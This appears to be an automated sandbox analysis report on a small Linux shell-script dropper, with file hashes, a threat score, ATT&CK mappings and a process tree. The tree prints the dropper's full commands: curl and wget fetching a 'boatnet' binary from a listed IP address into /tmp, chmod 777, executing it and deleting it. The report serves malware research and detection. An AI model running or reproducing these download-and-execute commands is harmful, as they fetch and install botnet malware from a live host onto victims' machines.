7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915

Analysis

max time kernel
0s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/08/2026, 00:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915.sh
Size 616B
Sample260804-a1f6hsab89
SHA256 7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915
MD5 d72d46ae6747afaf0a4ca4653b9400da
SHA1 e06cb393b572cd4db19f18e5d6d8f78c5bfcb7be
SHA512 7c1b4e1aef892c2b1fd7eb01c219de9282e3b4661e223bed5f31637109c649ab2b9aa03bd53b5fdc77320e76ad33474e73c211e5a01fb17dfde9eec5b1953848
TLSH
T1A7F0789579009AB3741D4D2A369595E060425C6F28883E80A0FEBE384A08B0D71B4B97
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1499	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.x	1500	7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.x	wget

/tmp/7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915.sh
/tmp/7fd2bd41e693e49cd09260d85864709cc8066f9681b3c2014d9241f128694915.sh
1⤵
- Executes dropped EXE
PID:1492
- /usr/bin/curl
  curl -s -A Mozilla/5.0 http://94.154.43.231:3001:80/detect
  2⤵
  PID:1493
- /usr/bin/curl
  curl -s http://94.154.43.231:3001:80/bins/boatnet.default -o .x
  2⤵
  PID:1496
- /usr/bin/wget
  wget -q -O .x http://94.154.43.231:3001:80/bins/boatnet.default
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/chmod
  chmod 777 .x
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /tmp/.x
  ./.x boatnet
  2⤵
  PID:1500
- /bin/sh
  /bin/sh ./.x boatnet
  2⤵
  PID:1500
- /bin/rm
  rm -f .x
  2⤵
  PID:1503

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads